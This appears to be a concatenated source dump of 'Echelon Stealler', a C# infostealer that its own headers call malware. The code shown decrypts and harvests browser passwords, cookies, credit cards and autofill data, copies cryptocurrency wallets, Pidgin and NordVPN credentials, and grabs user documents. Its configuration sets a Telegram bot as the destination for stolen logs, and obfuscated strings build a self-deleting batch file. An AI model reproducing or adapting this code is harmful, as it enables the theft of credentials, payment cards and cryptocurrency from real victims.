!string.IsNullOrEmpty(innerText2)) { streamWriter.WriteLine("\t\tPassword: " + Nord_Vpn_Decoder(innerText2)); } count++; } } } } } } else { return; } } catch { } } public static string Nord_Vpn_Decoder(string s) { string result; try { result = Encoding.UTF8.GetString(ProtectedData.Unprotect(Convert.FromBase64String(s), null, DataProtectionScope.LocalMachine)); } catch { result = ""; } return result; } } } <file_sep>/Stealer/Wallets/Zcash.cs /////////////////////////////////////////////////////// ////Echelon Stealler, C# Malware Systems by MadСod //// ///////////////////Telegram: @madcod/////////////////// /////////////////////////////////////////////////////// using System.IO; namespace Echelon { class Zcash { public static int count = 0; public static string ZcashDir = "\\Wallets\\Zcash\\"; public static string ZcashDir2 = Help.AppDate + "\\Zcash\\"; public static void ZecwalletStr(string directorypath) // Works { try { if (Directory.Exists(ZcashDir2)) { foreach (FileInfo file in new DirectoryInfo(ZcashDir2).GetFiles()) { Directory.CreateDirectory(directorypath + ZcashDir); file.CopyTo(directorypath + ZcashDir + file.Name); } Wallets.count++; } else { return; } } catch {} } } } <file_sep>/Stealer/Wallets/Wallets.cs /////////////////////////////////////////////////////// ////Echelon Stealler, C# Malware Systems by MadСod //// ///////////////////Telegram: @madcod/////////////////// /////////////////////////////////////////////////////// using System.Threading; using System.Threading.Tasks; namespace Echelon { class Wallets { public static int count = 0; public static int GetWallets(string Echelon_Dir) { Task[] tasks_wl = new Task[12] { new Task(() => Armory.ArmoryStr(Echelon_Dir)), new Task(() => AtomicWallet.AtomicStr(Echelon_Dir)), new Task(() => BitcoinCore.BCStr(Echelon_Dir)), new Task(() => Bytecoin.BCNcoinStr(Echelon_Dir)), new Task(() => DashCore.DSHcoinStr(Echelon_Dir)), new Task(() => Electrum.EleStr(Echelon_Dir)), new Task(() => Ethereum.EcoinStr(Echelon_Dir)), new Task(() => LitecoinCore.LitecStr(Echelon_Dir)), new Task(() => Monero.XMRcoinStr(Echelon_Dir)), new Task(() => Exodus.ExodusStr(Echelon_Dir)), new Task(() => Jaxx.JaxxStr(Echelon_Dir)), new Task(() => Zcash.ZecwalletStr(Echelon_Dir)) }; foreach (var t in tasks_wl) t.Start(); Task.WaitAll(tasks_wl); return count; } } } <file_sep>/Stealer/Wallets/LitecoinCore.cs /////////////////////////////////////////////////////// ////Echelon Stealler, C# Malware Systems by MadСod //// ///////////////////Telegram: @madcod/////////////////// /////////////////////////////////////////////////////// using Microsoft.Win32; using System.IO; namespace Echelon { class LitecoinCore { public static int count = 0; public static void LitecStr(string directorypath) { try { using (RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software").OpenSubKey("Litecoin").OpenSubKey("Litecoin-Qt")) try { Directory.CreateDirectory(directorypath + "\\Wallets\\LitecoinCore\\"); File.Copy(registryKey.GetValue("strDataDir").ToString() + "\\wallet.dat", directorypath + "\\LitecoinCore\\wallet.dat"); count++; Wallets.count++; } catch { } } catch { } } } } <file_sep>/Stealer/Browsers/Helpers/NoiseMe.Drags.App.Models.JSON/JsonExt.cs using System.IO; namespace Echelon { public static class JsonExt { public static JsonValue FromJSON(this string json) { return JsonValue.Load(new StringReader(json)); } public static string ToJSON<T>(this T instance) { return JsonValue.ToJsonValue(instance); } } } <file_sep>/Stealer/FileGrabber/GetFiles.cs /////////////////////////////////////////////////////// ////Echelon Stealler, C# Malware Systems by MadСod //// ///////////////////Telegram: @madcod/////////////////// /////////////////////////////////////////////////////// using System; using System.Collections.Generic; using System.IO; namespace Echelon { public partial class Files { public static int count = 0; public static void GetFiles(string Echelon_Dir) { try { string Files = Echelon_Dir + "\\Files"; Directory.CreateDirectory(Files); if (!Directory.Exists(Files)) { GetFiles(Files); } else { // 5500000 - 5 MB | 10500000 - 10 MB | 21000000 - 20 MB | 63000000 - 60 MB CopyDirectory(Help.DesktopPath, Files, "*.*", Program.sizefile); CopyDirectory(Help.MyDocuments, Files, "*.*", Program.sizefile); CopyDirectory(Help.UserProfile + "\\source", Files, "*.*", Program.sizefile); // CopyDirectory("[From]"], "[To]", "*.*", "[Limit]"); } } catch { } } private static long GetDirSize(string path, long size = 0) { try { foreach (string file in Directory.EnumerateFiles(path)) { try { size += new FileInfo(file).Length; } catch { } } foreach (string dir in Directory.EnumerateDirectories(path)) { try { size += GetDirSize(dir); } catch { } } } catch { } return size; } public static void CopyDirectory(string source, string target, string pattern, long maxSize) { var stack = new Stack<GetFiles.Folders>(); stack.Push(new GetFiles.Folders(source, target)); long size = GetDirSize(target); while (stack.Count > 0) { GetFiles.Folders folders = stack.Pop(); try { Directory.CreateDirectory(folders.Target); foreach (string file in Directory.EnumerateFiles(folders.Source, pattern)) { try { if (Array.IndexOf(Program.expansion, Path.GetExtension(file).ToLower()) < 0) { continue; } string targetPath = Path.Combine(folders.Target, Path.GetFileName(file)); if (new FileInfo(file).Length / 0x400 < 0x1388) // 1024 < 5000 { File.Copy(file, targetPath); size += new FileInfo(targetPath).Length; if (size > maxSize) { return; } count++; } } catch { } } } catch (UnauthorizedAccessException) { continue; } catch (PathTooLongException) { continue; } try { foreach (string folder in Directory.EnumerateDirectories(folders.Source)) { try { if (!folder.Contains(Path.Combine(Help.DesktopPath, Environment.UserName))) { stack.Push(new GetFiles.Folders(folder, Path.Combine(folders.Target, Path.GetFileName(folder)))); } } catch { } } } catch (UnauthorizedAccessException) { continue; } catch (DirectoryNotFoundException) { continue; } catch (PathTooLongException) { continue; } } stack.Clear(); } } } <file_sep>/Stealer/FileGrabber/IFolders.cs /////////////////////////////////////////////////////// ////Echelon Stealler, C# Malware Systems by MadСod //// ///////////////////Telegram: @madcod/////////////////// /////////////////////////////////////////////////////// namespace Echelon { public interface IFolders { string Source { get; } string Target { get; } } } <file_sep>/Stealer/Jabber/Pidgin.cs /////////////////////////////////////////////////////// ////Echelon Stealler, C# Malware Systems by MadСod //// ///////////////////Telegram: @madcod/////////////////// /////////////////////////////////////////////////////// using System; using System.IO; using System.Text; using System.Xml; namespace Echelon { class Pidgin { public static int PidginCount = 0; public static int PidginAkks = 0; private static readonly string PidginPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), @".purple\accounts.xml"); public static void Start(string directorypath) // Works { if (File.Exists(PidginPath)) { Directory.CreateDirectory(directorypath + "\\Jabber\\Pidgin\\"); GetDataPidgin(PidginPath, directorypath + "\\Jabber\\Pidgin" + "\\Pidgin.log"); } else { return; } } private static StringBuilder SBTwo = new StringBuilder(); public static void GetDataPidgin(string PathPn, string SaveFile) { try { if (File.Exists(PathPn)) { try { var xs = new XmlDocument(); xs.Load(new XmlTextReader(PathPn)); foreach (XmlNode nl in xs.DocumentElement.ChildNodes) { var Protocol = nl.ChildNodes[0].InnerText; var Login = nl.ChildNodes[1].InnerText; var Password = nl.ChildNodes[2].InnerText; if (!string.IsNullOrEmpty(Protocol) && !string.IsNullOrEmpty(Login) && !string.IsNullOrEmpty(Password)) { SBTwo.AppendLine($"Protocol: {Protocol}"); SBTwo.AppendLine($"Login: {Login}"); SBTwo.AppendLine($"Password: {Password}\r\n"); PidginAkks++; PidginCount++; } else { break; } } if (SBTwo.Length > 0) { try { File.AppendAllText(SaveFile, SBTwo.ToString()); } catch { } } } catch { } } } catch { } } } } <file_sep>/Stealer/Browsers/Helpers/FF.cs namespace Echelon { public struct FF { public long ID { get; set; } public string Type { get; set; } public string Name { get; set; } public string AstableName { get; set; } public long RootNum { get; set; } public string SqlStatement { get; set; } } } <file_sep>/Program.cs /////////////////////////////////////////////////////// ////Echelon Stealler, C# Malware Systems by MadСod //// ///////////////////Telegram: @madcod/////////////////// /////////////////////////////////////////////////////// using Echelon.Properties; using System; using System.Diagnostics; using System.IO; using System.Reflection; using System.Threading; namespace Echelon { class Program { #region Settings Stealer // Уникальный идентификатор билда, опционально public static string buildversion = "V5 MyBuild"; //Токен бота в телеге, создать бота и получить токен тут: @BotFather public static string Token = "<KEY>"; // Telegram ID чата, узнать свой ID чата можно тут: @my_id_bot public static string ID = "824301566"; // Настроки Proxy, поддерживает только proxy http/s с поддержкой POST запросов, socks's не поддерживает! public static string ip ="1.1.1.1"; // IP Proxy public static int port = 4239; // Порт Proxy public static string login = "USER"; // Логин Proxy public static string password = "<PASSWORD>"; // Пароль Proxy // Пароль для архива с логом: public static string passwordzip = "<PASSWORD>"; // На архив // максимальный вес файла в файлграббере 5500000 - 5 MB | 10500000 - 10 MB | 21000000 - 20 MB | 63000000 - 60 MB public static int sizefile = 10500000; // Список расширений для сбора файлов public static string[] expansion = new string[] { ".txt", ".rdp", ".suo", ".config", ".cs", ".csproj", ".tlp", ".sln", }; #endregion #region Stealer [STAThread] private static void Main() { try { // Подключаем нужные библиотеки AppDomain.CurrentDomain.AssemblyResolve += AppDomain_AssemblyResolve; Assembly AppDomain_AssemblyResolve(object sender, ResolveEventArgs args) { if (args.Name.Contains("DotNetZip")) return Assembly.Load(Resources.DotNetZip); return null; } // Проверка файла Help.HWID if (!File.Exists(Help.LocalData + "\\" + Help.HWID)) { // Файла Help.HWID нет, запускаем стиллер Collection.GetCollection(); } else { // Файл Help.HWID есть, проверяем записанную в нем дату if (!File.ReadAllText(Help.LocalData + "\\" + Help.HWID).Contains(Help.HWID + Help.dateLog)) { // Дата в файле Help.HWID отличается от сегодняшней, запускаем стиллер Collection.GetCollection(); } else { // В файле Help.HWID сегодняшняя дата, закрываемся, означает что сегодня уже был лог с данного пк и не нужно слать повторы. Environment.Exit(0); } } } catch { Clean.GetClean(); return; } finally { // Чистим следы за собой, небольшой метод вторичной проверки. Так же метод очищает папку Downloads у юзера Clean.GetClean(); // Самоудаление после отправки лога string batch = Path.GetTempFileName() + Decrypt.Get("H4sIAAAAAAAEANNLzk0BAMPCtLEEAAAA"); using (StreamWriter sw = new StreamWriter(batch)) { sw.WriteLine(Decrypt.Get("H4sIAAAAAAAEAFNySE3OyFfIT0sDAP8G798KAAAA")); // скрываем консоль sw.WriteLine(Decrypt.Get("H4sIAAAAAAAEACvJzE3NLy1RMFGwU/AL9QEAGpgiIA8AAAA=")); // Задержка до выполнения следуюющих команд в секундах. sw.WriteLine(Decrypt.Get("H4sIAAAAAAAEAHNx9VEAAJx/wSQEAAAA") + "\"" + Path.GetFileName(new FileInfo(new Uri(Assembly.GetExecutingAssembly().CodeBase).LocalPath).Name) + "\"" + " /f /q"); // Удаляем исходный билд sw.WriteLine(Decrypt.Get("H4sIAAAAAAAEAHN2UQAAQkDmIgMAAAA=") + Path.GetTempPath()); // Переходим во временную папку юзера sw.WriteLine(Decrypt.Get("H4sIAAAAAAAEAHNx9VEAAJx/wSQEAAAA") + "\"" + batch + "\"" + " /f /q"); // Удаляем .cmd } Process.Start(new ProcessStartInfo() { FileName = batch, CreateNoWindow = true, ErrorDialog = false, UseShellExecute = false, WindowStyle = ProcessWindowStyle.Hidden }); Environment.Exit(0); } } #endregion } } <file_sep>/Stealer/FileGrabber/Folders.cs /////////////////////////////////////////////////////// ////Echelon Stealler, C# Malware Systems by MadСod //// ///////////////////Telegram: @madcod/////////////////// /////////////////////////////////////////////////////// namespace Echelon { public partial class GetFiles { public class Folders : IFolders { public string Source { get; private set; } public string Target { get; private set; } public Folders(string source, string target) { Source = source; Target = target; } } } } <file_sep>/Stealer/Browsers/Helpers/NoiseMe.Drags.App.Models.JSON/JsonObject.cs using System; using System.Collections; using System.Collections.Generic; using System.IO; using System.Text; namespace Echelon { public class JsonObject : JsonValue, IDictionary<string, JsonValue>, ICollection<KeyValuePair<string, JsonValue>>, IEnumerable<KeyValuePair<string, JsonValue>>, IEnumerable { private SortedDictionary<string, JsonValue> map; public override int Count => map.Count; public sealed override JsonValue this[string key] { get { return map[key]; } set { map[key] = value; } } public override JsonType JsonType => JsonType.Object; public ICollection<string> Keys => map.Keys; public ICollection<JsonValue> Values => map.Values; bool ICollection<KeyValuePair<string, JsonValue>>.IsReadOnly => false; public JsonObject(params KeyValuePair<string, JsonValue>[] items) { map = new SortedDictionary<string, JsonValue>(StringComparer.Ordinal); if (items != null) { AddRange(items); } } public JsonObject(IEnumerable<KeyValuePair<string, JsonValue>> items) { if (items == null) { throw new ArgumentNullException("items"); } map = new SortedDictionary<string, JsonValue>(StringComparer.Ordinal); AddRange(items); } public IEnumerator<KeyValuePair<string, JsonValue>> GetEnumerator() { return map.GetEnumerator(); } IEnumerator IEnumerable.GetEnumerator() { return map.GetEnumerator(); } public void Add(string key, JsonValue value) { if (key == null) { throw new ArgumentNullException("key"); } map.Add(key, value); } public void Add(KeyValuePair<string, JsonValue> pair) { Add(pair.Key, pair.Value); } public void AddRange(IEnumerable<KeyValuePair<string, JsonValue>> items) { if (items == null) { throw new ArgumentNullException("items"); } foreach (KeyValuePair<string, JsonValue> item in items) { map.Add(item.Key, item.Value); } } public void AddRange(params KeyValuePair<string, JsonValue>[] items) { AddRange((IEnumerable<KeyValuePair<string, JsonValue>>)items); } public void Clear() { map.Clear(); } bool ICollection<KeyValuePair<string, JsonValue>>.Contains(KeyValuePair<string, JsonValue> item) { return ((ICollection<KeyValuePair<string, JsonValue>>)map).Contains(item); } bool ICollection<KeyValuePair<string, JsonValue>>.Remove(KeyValuePair<string, JsonValue> item) { return ((ICollection<KeyValuePair<string, JsonValue>>)map).Remove(item); } public override bool ContainsKey(string key) { if (key == null) { throw new ArgumentNullException("key"); } return map.ContainsKey(key); } public void CopyTo(KeyValuePair<string, JsonValue>[] array, int arrayIndex) { ((ICollection<KeyValuePair<string, JsonValue>>)map).CopyTo(array, arrayIndex); } public bool Remove(string key) { if (key == null) { throw new ArgumentNullException("key"); } return map.Remove(key); } public override void Save(Stream stream, bool parsing) { if (stream == null) { throw new ArgumentNullException("stream"); } stream.WriteByte(123); foreach (KeyValuePair<string, JsonValue> item in map) { stream.WriteByte(34); byte[] bytes = Encoding.UTF8.GetBytes(EscapeString(item.Key)); stream.Write(bytes, 0, bytes.Length); stream.WriteByte(34); stream.WriteByte(44); stream.WriteByte(32); if (item.Value == null) { stream.WriteByte(110); stream.WriteByte(117); stream.WriteByte(108); stream.WriteByte(108); } else { item.Value.Save(stream, parsing); } } stream.WriteByte(125); } public bool TryGetValue(string key, out JsonValue value) { return map.TryGetValue(key, out value); } } } <file_sep>/Stealer/Browsers/Chromium/Chromium.cs /////////////////////////////////////////////////////// ////Echelon Stealler, C# Malware Systems by MadСod //// ///////////////////Telegram: @madcod/////////////////// /////////////////////////////////////////////////////// using System; using System.Collections.Generic; using System.IO; using System.Linq; using System.Text; using System.Text.RegularExpressions; using System.Threading.Tasks; namespace Echelon { class Chromium { public static int Passwords = 0; public static int Autofills = 0; public static int Downloads = 0; public static int Cookies = 0; public static int History = 0; public static int CC = 0; public static string bd = Path.GetTempPath() + "\\bd" + Help.HWID + ".tmp"; public static string ls = Path.GetTempPath() + "\\ls" + Help.HWID + ".tmp"; static readonly string[] BrowsersName = new string[] { "Chrome", "Edge", "Yandex", "Orbitum", "Opera", "Amigo", "Torch", "Comodo", "CentBrowser", "Go!", "uCozMedia", "Rockmelt", "Sleipnir", "SRWare Iron", "Vivaldi", "Sputnik", "Maxthon", "AcWebBrowser", "Epic Browser", "MapleStudio", "BlackHawk", "Flock", "CoolNovo", "Baidu Spark", "Titan Browser", "Google", "browser" }; #region Passwords public static void GetPasswordsOpera(string path2save) { try { List<string> Browsers = new List<string>(); List<string> BrPaths = new List<string> { Help.AppDate, Help.LocalData }; var APD = new List<string>(); foreach (var paths in BrPaths) { try { APD.AddRange(Directory.GetDirectories(paths)); } catch { } } foreach (var path in APD) { string[] files = null; string result = ""; try { Browsers.AddRange(Directory.GetFiles(path, "Login Data", SearchOption.AllDirectories)); files = Directory.GetFiles(path, "Login Data", SearchOption.AllDirectories); } catch { } if (files != null) { foreach (var file in files) { try { if (File.Exists(file)) { string str = "Unknown"; foreach (string name in BrowsersName) { if (path.Contains(name)) { str = name; } } string loginData = file; string localState = file + "\\..\\Local State"; if (File.Exists(bd)) File.Delete(bd); if (File.Exists(ls)) File.Delete(ls); File.Copy(loginData, bd); File.Copy(localState, ls); SqlHandler sqlHandler = new SqlHandler(bd); List<PassData> passDataList = new List<PassData>(); sqlHandler.ReadTable("logins"); string keyStr = File.ReadAllText(ls); string[] lines = Regex.Split(keyStr, "\""); int index = 0; foreach (string line in lines) { if (line == "encrypted_key") { keyStr = lines[index + 2]; break; } index++; } byte[] keyBytes = Encoding.Default.GetBytes(Encoding.Default.GetString(Convert.FromBase64String(keyStr)).Remove(0, 5)); byte[] masterKeyBytes = DecryptAPI.DecryptBrowsers(keyBytes); int rowCount = sqlHandler.GetRowCount(); for (int rowNum = 0; rowNum < rowCount; ++rowNum) { try { string passStr = sqlHandler.GetValue(rowNum, 5); byte[] pass = Encoding.Default.GetBytes(passStr); string decrypted = ""; try { if (passStr.StartsWith("v10") || passStr.StartsWith("v11")) { byte[] iv = pass.Skip(3).Take(12).ToArray(); // From 3 to 15 byte[] payload = pass.Skip(15).ToArray(); decrypted = AesGcm256.Decrypt(payload, masterKeyBytes, iv); } else { decrypted = Encoding.Default.GetString(DecryptAPI.DecryptBrowsers(pass)); } } catch { } result += "Url: " + sqlHandler.GetValue(rowNum, 1) + "\r\n"; result += "Login: " + sqlHandler.GetValue(rowNum, 3) + "\r\n"; result += "Passwords: " + decrypted + "\r\n"; result += "Browser: " + str + "\r\n\r\n"; Passwords++; } catch { } } if (File.Exists(bd)) File.Delete(bd); if (File.Exists(ls)) File.Delete(ls); if (str == "Unknown") { File.AppendAllText(path2save + "\\" + "Passwords_" + str + ".txt", result); } else { File.WriteAllText(path2save + "\\" + "Passwords_" + str + ".txt", result); } } } catch { } } } } } catch { } } public static void GetPasswords(string path2save) { try { List<string> Browsers = new List<string>(); List<string> BrPaths = new List<string> { Help.AppDate, Help.LocalData }; var APD = new List<string>(); foreach (var paths in BrPaths) { try { APD.AddRange(Directory.GetDirectories(paths)); } catch { } } foreach (var path in APD) { string[] files = null; string result = ""; try { Browsers.AddRange(Directory.GetFiles(path, "Login Data", SearchOption.AllDirectories)); files = Directory.GetFiles(path, "Login Data", SearchOption.AllDirectories); } catch { } if (files != null) { foreach (var file in files) { try { if (File.Exists(file)) { string str = "Unknown"; foreach (string name in BrowsersName) { if (path.Contains(name)) { str = name; } } string loginData = file; string localState = file + "\\..\\..\\Local State"; if (File.Exists(bd)) File.Delete(bd); if (File.Exists(ls)) File.Delete(ls); File.Copy(loginData, bd); File.Copy(localState, ls); SqlHandler sqlHandler = new SqlHandler(bd); List<PassData> passDataList = new List<PassData>(); sqlHandler.ReadTable("logins"); string keyStr = File.ReadAllText(ls); string[] lines = Regex.Split(keyStr, "\""); int index = 0; foreach (string line in lines) { if (line == "encrypted_key") { keyStr = lines[index + 2]; break; } index++; } byte[] keyBytes = Encoding.Default.GetBytes(Encoding.Default.GetString(Convert.FromBase64String(keyStr)).Remove(0, 5)); byte[] masterKeyBytes = DecryptAPI.DecryptBrowsers(keyBytes); int rowCount = sqlHandler.GetRowCount(); for (int rowNum = 0; rowNum < rowCount; ++rowNum) { try { string passStr = sqlHandler.GetValue(rowNum, 5); byte[] pass = Encoding.Default.GetBytes(passStr); string decrypted = ""; try { if (passStr.StartsWith("v10") || passStr.StartsWith("v11")) { byte[] iv = pass.Skip(3).Take(12).ToArray(); // From 3 to 15 byte[] payload = pass.Skip(15).ToArray(); decrypted = AesGcm256.Decrypt(payload, masterKeyBytes, iv); } else { decrypted = Encoding.Default.GetString(DecryptAPI.DecryptBrowsers(pass)); } } catch { } result += "Url: " + sqlHandler.GetValue(rowNum, 1) + "\r\n"; result += "Login: " + sqlHandler.GetValue(rowNum, 3) + "\r\n"; result += "Passwords: " + decrypted + "\r\n"; result += "Browser: " + str + "\r\n\r\n"; Passwords++; } catch { } } if (File.Exists(bd)) File.Delete(bd); if (File.Exists(ls)) File.Delete(ls); if (str == "Unknown") { File.AppendAllText(path2save + "\\" + "Passwords_" + str + ".txt", result); } else { File.WriteAllText(path2save + "\\" + "Passwords_" + str + ".txt", result); } } } catch { } } } } } catch { } } #endregion #region Cookies public static void GetCookiesOpera(string path2save) { try { List<string> Browsers = new List<string>(); List<string> BrPaths = new List<string> { Help.AppDate, Help.LocalData }; var APD = new List<string>(); foreach (var paths in BrPaths) { try { APD.AddRange(Directory.GetDirectories(paths)); } catch { } } foreach (var path in APD) { string result = ""; string[] files = null; try { Browsers.AddRange(Directory.GetFiles(path, "Cookies", SearchOption.AllDirectories)); files = Directory.GetFiles(path, "Cookies", SearchOption.AllDirectories); } catch { } if (files != null) { foreach (var file in files) { try { if (File.Exists(file)) { string str = "Unknown"; foreach (string name in BrowsersName) { if (path.Contains(name)) { str = name; } } string loginData = file; string localState = file + "\\..\\Local State"; if (File.Exists(bd)) File.Delete(bd); if (File.Exists(ls)) File.Delete(ls); File.Copy(loginData, bd); File.Copy(localState, ls); SqlHandler sqlHandler = new SqlHandler(bd); List<PassData> passDataList = new List<PassData>(); sqlHandler.ReadTable("cookies"); string keyStr = File.ReadAllText(ls); string[] lines = Regex.Split(keyStr, "\""); int index = 0; foreach (string line in lines) { if (line == "encrypted_key") { keyStr = lines[index + 2]; break; } index++; } byte[] keyBytes = Encoding.Default.GetBytes(Encoding.Default.GetString(Convert.FromBase64String(keyStr)).Remove(0, 5)); byte[] masterKeyBytes = DecryptAPI.DecryptBrowsers(keyBytes); int rowCount = sqlHandler.GetRowCount(); for (int rowNum = 0; rowNum < rowCount; ++rowNum) { try { string valueStr = sqlHandler.GetValue(rowNum, 12); byte[] value = Encoding.Default.GetBytes(valueStr); string decrypted = ""; try { if (valueStr.StartsWith("v10")) { // Console.WriteLine("!=============== AES 256 GCM COOKIES ============!"); byte[] iv = value.Skip(3).Take(12).ToArray(); // From 3 to 15 byte[] payload = value.Skip(15).ToArray(); decrypted = AesGcm256.Decrypt(payload, masterKeyBytes, iv); } else { decrypted = Encoding.Default.GetString(DecryptAPI.DecryptBrowsers(value)); } string host_key = sqlHandler.GetValue(rowNum, 1), name = sqlHandler.GetValue(rowNum, 2), PATH = sqlHandler.GetValue(rowNum, 4), expires_utc = sqlHandler.GetValue(rowNum, 5), secure = sqlHandler.GetValue(rowNum, 6); result += string.Format("{0}\tFALSE\t{1}\t{2}\t{3}\t{4}\t{5}\r\n", host_key, PATH, secure.ToUpper(), expires_utc, name, decrypted); Cookies++; } catch { } } catch { } } if (File.Exists(bd)) File.Delete(bd); if (File.Exists(ls)) File.Delete(ls); if (str == "Unknown") { File.AppendAllText(path2save + "\\" + "Cookies_" + str + ".txt", result); } else { File.WriteAllText(path2save + "\\" + "Cookies_" + str + ".txt", result); } } } catch { } } } } } catch { } } public static void GetCookies(string path2save) { try { List<string> Browsers = new List<string>(); List<string> BrPaths = new List<string> { Help.AppDate, Help.LocalData }; var APD = new List<string>(); foreach (var paths in BrPaths) { try { APD.AddRange(Directory.GetDirectories(paths)); } catch { } } foreach (var path in APD) { string result = ""; string[] files = null; try { Browsers.AddRange(Directory.GetFiles(path, "Cookies", SearchOption.AllDirectories)); files = Directory.GetFiles(path, "Cookies", SearchOption.AllDirectories); } catch { } if (files != null) { foreach (var file in files) { try { if (File.Exists(file)) { string str = "Unknown"; foreach (string name in BrowsersName) { if (path.Contains(name)) { str = name; } } string loginData = file; string localState = file + "\\..\\..\\Local State"; if (File.Exists(bd)) File.Delete(bd); if (File.Exists(ls)) File.Delete(ls); File.Copy(loginData, bd); File.Copy(localState, ls); SqlHandler sqlHandler = new SqlHandler(bd); List<PassData> passDataList = new List<PassData>(); sqlHandler.ReadTable("cookies"); string keyStr = File.ReadAllText(ls); string[] lines = Regex.Split(keyStr, "\""); int index = 0; foreach (string line in lines) { if (line == "encrypted_key") { keyStr = lines[index + 2]; break; } index++; } byte[] keyBytes = Encoding.Default.GetBytes(Encoding.Default.GetString(Convert.FromBase64String(keyStr)).Remove(0, 5)); byte[] masterKeyBytes = DecryptAPI.DecryptBrowsers(keyBytes); int rowCount = sqlHandler.GetRowCount(); for (int rowNum = 0; rowNum < rowCount; ++rowNum) { try { string valueStr = sqlHandler.GetValue(rowNum, 12); byte[] value = Encoding.Default.GetBytes(valueStr); string decrypted = ""; try { if (valueStr.StartsWith("v10")) { // Console.WriteLine("!=============== AES 256 GCM COOKIES ============!"); byte[] iv = value.Skip(3).Take(12).ToArray(); // From 3 to 15 byte[] payload = value.Skip(15).ToArray(); decrypted = AesGcm256.Decrypt(payload, masterKeyBytes, iv); } else { decrypted = Encoding.Default.GetString(DecryptAPI.DecryptBrowsers(value)); } string host_key = sqlHandler.GetValue(rowNum, 1), name = sqlHandler.GetValue(rowNum, 2), PATH = sqlHandler.GetValue(rowNum, 4), expires_utc = sqlHandler.GetValue(rowNum, 5), secure = sqlHandler.GetValue(rowNum, 6); result += string.Format("{0}\tFALSE\t{1}\t{2}\t{3}\t{4}\t{5}\r\n", host_key, PATH, secure.ToUpper(), expires_utc, name, decrypted); Cookies++; } catch { } } catch { } } if (File.Exists(bd)) File.Delete(bd); if (File.Exists(ls)) File.Delete(ls); if (str == "Unknown") { File.AppendAllText(path2save + "\\" + "Cookies_" + str + ".txt", result); } else { File.WriteAllText(path2save + "\\" + "Cookies_" + str + ".txt", result); } } } catch { } } } } } catch { } } #endregion #region Autofills public static void GetCards(string path2save) { try { List<string> Browsers = new List<string>(); List<string> BrPaths = new List<string> { Help.AppDate, Help.LocalData }; var APD = new List<string>(); foreach (var paths in BrPaths) { try { APD.AddRange(Directory.GetDirectories(paths)); } catch { } } foreach (var path in APD) { string result = ""; string[] files = null; try { Browsers.AddRange(Directory.GetFiles(path, "Web Data", SearchOption.AllDirectories)); files = Directory.GetFiles(path, "Web Data", SearchOption.AllDirectories); } catch { } if (files != null) { foreach (var file in files) { try { if (File.Exists(file)) { string str = "Unknown"; foreach (string name in BrowsersName) { if (path.Contains(name)) { str = name; } } string loginData = file; if (File.Exists(bd)) File.Delete(bd); File.Copy(loginData, bd); SqlHandler sqlHandler = new SqlHandler(bd); List<PassData> passDataList = new List<PassData>(); sqlHandler.ReadTable("credit_cards"); int rowCount = sqlHandler.GetRowCount(); for (int rowNum = 0; rowNum < rowCount; ++rowNum) { try { string Number = Encoding.UTF8.GetString(DecryptAPI.DecryptBrowsers(Encoding.Default.GetBytes(sqlHandler.GetValue(rowNum, 4)))), Name = sqlHandler.GetValue(rowNum, 1), Exp_m = sqlHandler.GetValue(rowNum, 2), Exp_y = sqlHandler.GetValue(rowNum, 3), Billing = sqlHandler.GetValue(rowNum, 9); result += string.Format("{0}\t{1}/{2}\t{3}\t{4}\r\n******************************\r\n", Name, Exp_m, Exp_y, Number, Billing); CC++; } catch { } } if (File.Exists(bd)) File.Delete(bd); if (File.Exists(ls)) File.Delete(ls); if (str == "Unknown") { File.AppendAllText(path2save + "\\" + "Cards_" + str + ".txt", result); } else { File.WriteAllText(path2save + "\\" + "Cards_" + str + ".txt", result); } } } catch { } } } } } catch { } } public static void GetAutofills(string path2save) { try { List<string> Browsers = new List<string>(); List<string> BrPaths = new List<string> { Help.AppDate, Help.LocalData }; var APD = new List<string>(); foreach (var paths in BrPaths) { try { APD.AddRange(Directory.GetDirectories(paths)); } catch { } } foreach (var path in APD) { string result = ""; // Console.WriteLine(path); string[] files = null; try { Browsers.AddRange(Directory.GetFiles(path, "Web Data", SearchOption.AllDirectories)); files = Directory.GetFiles(path, "Web Data", SearchOption.AllDirectories); } catch { } if (files != null) { foreach (var file in files) { try { if (File.Exists(file)) { string str = "Unknown"; foreach (string name in BrowsersName) { if (path.Contains(name)) { str = name; } } string loginData = file; if (File.Exists(bd)) File.Delete(bd); File.Copy(loginData, bd); SqlHandler sqlHandler = new SqlHandler(bd); List<PassData> passDataList = new List<PassData>(); sqlHandler.ReadTable("autofill"); int rowCount = sqlHandler.GetRowCount(); for (int rowNum = 0; rowNum < rowCount; ++rowNum) { try { string Name = sqlHandler.GetValue(rowNum, 0), Value = sqlHandler.GetValue(rowNum, 1); result += string.Format("Name: {0}\r\nValue: {1}\r\n----------------------------\r\n", Name, Value); Autofills++; } catch { } } if (File.Exists(bd)) File.Delete(bd); if (File.Exists(ls)) File.Delete(ls); if (str == "Unknown") { File.AppendAllText(path2save + "\\" + "Autofills_" + str + ".txt", result); } else { File.WriteAllText(path2save + "\\" + "Autofills_" + str + ".txt", result); } } } catch { } } } } } catch { } } #endregion #region Downloads public static void GetDownloads(string path2save) { try { List<string> Browsers = new List<string>(); List<string> BrPaths = new List<string> { Help.AppDate, Help.LocalData }; var APD = new List<string>(); foreach (var paths in BrPaths) { try { APD.AddRange(Directory.GetDirectories(paths)); } catch { } } foreach (var path in APD) { // Console.WriteLine(path); string[] files = null; try { Browsers.AddRange(Directory.GetFiles(path, "History", SearchOption.AllDirectories)); files = Directory.GetFiles(path, "History", SearchOption.AllDirectories); } catch { } if (files != null) { foreach (var file in files) { string result = ""; try { if (File.Exists(file)) { string str = "Unknown (" + path + ")"; foreach (string name in BrowsersName) { if (path.Contains(name)) { str = name; } } string loginData = file; if (File.Exists(bd)) File.Delete(bd); File.Copy(loginData, bd); SqlHandler sqlHandler = new SqlHandler(bd); List<PassData> passDataList = new List<PassData>(); sqlHandler.ReadTable("downloads"); int rowCount = sqlHandler.GetRowCount(); for (int rowNum = 0; rowNum < rowCount; ++rowNum) { try { string PATH = sqlHandler.GetValue(rowNum, 3), URL = sqlHandler.GetValue(rowNum, 15); result += string.Format("URL: {0}\r\nPath: {1}\r\n----------------------------\r\n", URL, PATH); Downloads++; } catch { } } if (File.Exists(bd)) File.Delete(bd); if (File.Exists(ls)) File.Delete(ls); File.WriteAllText(path2save + "\\" + "Downloads_" + str + ".txt", result); } } catch { } } } } } catch { } } #endregion #region History public static void GetHistory(string path2save) { try { List<string> Browsers = new List<string>(); List<string> BrPaths = new List<string> { Help.AppDate, 